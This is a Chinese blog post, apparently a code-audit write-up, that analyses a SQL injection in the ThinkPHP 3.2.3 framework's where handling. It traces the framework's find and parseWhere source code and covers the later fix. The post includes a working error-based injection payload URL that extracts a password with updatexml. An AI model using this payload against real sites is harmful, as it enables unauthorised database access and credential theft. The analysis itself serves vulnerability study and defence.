ThinkPHP3.2.3框架where注入

环境搭建

直接在IndexController.class.php中创建一个demo

public function index(){
    $data = M('users')->find(I('GET.id'));
    var_dump($data);
}

数据库配置:

<?php
return array(
    //'配置项'=>'配置值'
    'DB_TYPE'           =>  'mysql',
    'DB_HOST'           =>  'localhost',
    'DB_NAME'           =>  'thinkphp',
    'DB_USER'           =>  'root',
    'DB_PWD'            =>  'root',
    'DB_PORT'           =>  '3306',
    'DB_FIELDS_CACHE'   =>  true,
    'SHOW_PAGE_TRACE'   =>  true,
);

漏洞分析

payload:

http://127.0.0.1/thinkphp32/index.php?id[where]=3 and 1=updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)%23

image-20201014185048005

I方法就不用多说了,htmlspecialchars和think_filter过滤处理之后返回,连常见的updataxml这种危险的报错注入函数都没有过滤。

接下来直接跟进find函数:

/**
 * 查询数据
 * @access public
 * @param mixed $options 表达式参数
 * @return mixed
 */
public function find($options=array()) {
    if(is_numeric($options) || is_string($options)) {
        $where[$this->getPk()]  =   $options;
        $options                =   array();
        $options['where']       =   $where;
    }
    // 根据复合主键查找记录
    $pk  =  $this->getPk();
    if (is_array($options) && (count($options) > 0) && is_array($pk)) {
        // 根据复合主键查询
        $count = 0;
        foreach (array_keys($options) as $key) {
            if (is_int($key)) $count++; 
        } 
        if ($count == count($pk)) {
            $i = 0;
            foreach ($pk as $field) {
                $where[$field] = $options[$i];
                unset($options[$i++]);
            }
            $options['where']  =  $where;
        } else {
            return false;
        }
    }
    // 总是查找一条记录
    $options['limit']   =   1;
    // 分析表达式
    $options            =   $this->_parseOptions($options);
    // 判断查询缓存
    if(isset($options['cache'])){
        $cache  =   $options['cache'];
        $key    =   is_string($cache['key'])?$cache['key']:md5(serialize($options));
        $data   =   S($key,'',$cache);
        if(false !== $data){
            $this->data     =   $data;
            return $data;
        }
    }
    $resultSet          =   $this->db->select($options);
    if(false === $resultSet) {
        return false;
    }
    if(empty($resultSet)) {// 查询结果为空
        return null;
    }
    if(is_string($resultSet)){
        return $resultSet;
    }

    // 读取数据后的处理
    $data   =   $this->_read_data($resultSet[0]);
    $this->_after_find($data,$options);
    if(!empty($this->options['result'])) {
        return $this->returnResult($data,$this->options['result']);
    }
    $this->data     =   $data;
    if(isset($cache)){
        S($key,$data,$cache);
    }
    return $this->data;
}

首先进入到$this->_parseOptions函数:

/**
* 分析表达式
* @access protected
* @param array $options 表达式参数
* @return array
*/
protected function _parseOptions($options=array()) {
if(is_array($options))
$options =  array_merge($this->options,$options);

if(!isset($options['table'])){
// 自动获取表名
$options['table']   =   $this->getTableName();
$fields             =   $this->fields;
}else{
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields             =   $this->getDbFields();
}

// 数据表别名
if(!empty($options['alias'])) {
$options['table']  .=   ' '.$options['alias'];
}
// 记录操作的模型名称
$options['model']       =   $this->name;

// 字段类型验证
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key            =   trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
} 
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options  =   array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}

其作用是分析表达式,并且在最后对字段类型进行验证时,正常会进入到$this->_parseType函数,并且对类型进行转换,之后进行参数化。

/**
 * 数据类型检测
 * @access protected
 * @param mixed $data 数据
 * @param string $key 字段名
 * @return void
 */
protected function _parseType(&$data,$key) {
    if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
        $fieldType = strtolower($this->fields['_type'][$key]);
        if(false !== strpos($fieldType,'enum')){
            // 支持ENUM类型优先检测
        }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
            $data[$key]   =  intval($data[$key]);
        }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
            $data[$key]   =  floatval($data[$key]);
        }elseif(false !== strpos($fieldType,'bool')){
            $data[$key]   =  (bool)$data[$key];
        }
    }
}

但是当我们在_parseOptions传入时,where为字符串,故不会进入字段类型验证的判断,也不会进入到_parseType中,绕过了类型的转换。

至此我们回溯分析,可以看到find函数在刚进入的位置:

image-20201014193720954

我们直接传入数组,false了if(is_numeric($options) || is_string($options))的判断,从而绕过了对where的初始化。然后继续回到下一个关键函数select的分析:

image-20201014204043474

继续跟入$this->buildSelectSql函数:

image-20201014204243980

接下来继续进入$this->parseSql函数:

image-20201014204326358

继续分析parseWhere函数:

/**
     * where分析
     * @access protected
     * @param mixed $where
     * @return string
     */
    protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where;
        }else{ // 使用数组表达式
            $operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';
            if(in_array($operate,array('AND','OR','XOR'))){
                // 定义逻辑运算规则 例如 OR XOR AND NOT
                $operate    =   ' '.$operate.' ';
                unset($where['_logic']);
            }else{
                // 默认进行 AND 运算
                $operate    =   ' AND ';
            }
            foreach ($where as $key=>$val){
                if(is_numeric($key)){
                    $key  = '_complex';
                }
                if(0===strpos($key,'_')) {
                    // 解析特殊条件表达式
                    $whereStr   .= $this->parseThinkWhere($key,$val);
                }else{
                    // 查询字段的安全过滤
                    // if(!preg_match('/^[A-Z_|&-.a-z0-9()\,]+$/',trim($key))){
                    //     E(L('_EXPRESS_ERROR_').':'.$key);
                    // }
                    // 多条件支持
                    $multi  = is_array($val) &&  isset($val['_multi']);
                    $key    = trim($key);
                    if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                        $array =  explode('|',$key);
                        $str   =  array();
                        foreach ($array as $m=>$k){
                            $v =  $multi?$val[$m]:$val;
                            $str[]   = $this->parseWhereItem($this->parseKey($k),$v);
                        }
                        $whereStr .= '( '.implode(' OR ',$str).' )';
                    }elseif(strpos($key,'&')){
                        $array =  explode('&',$key);
                        $str   =  array();
                        foreach ($array as $m=>$k){
                            $v =  $multi?$val[$m]:$val;
                            $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                        }
                        $whereStr .= '( '.implode(' AND ',$str).' )';
                    }else{
                        $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
                    }
                }
                $whereStr .= $operate;
            }
            $whereStr = substr($whereStr,0,-strlen($operate));
        }
        return empty($whereStr)?'':' WHERE '.$whereStr;
    }

在刚进入时进行字符串条件判断,然后直接到最后,直接进行了字符串的拼接:

image-20201014205037959

最后返回:

image-20201014205132630

并且直接在select中进行了$this->query执行,导致了报错注入。

修复

image-20201014205259880

新的版本中将$options$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。

参考

  1. ThinkPHP漏洞分析集合
  2. 代码审计之Thinkphp3.2.3
原文地址:https://www.cnblogs.com/lktop/p/13824832.html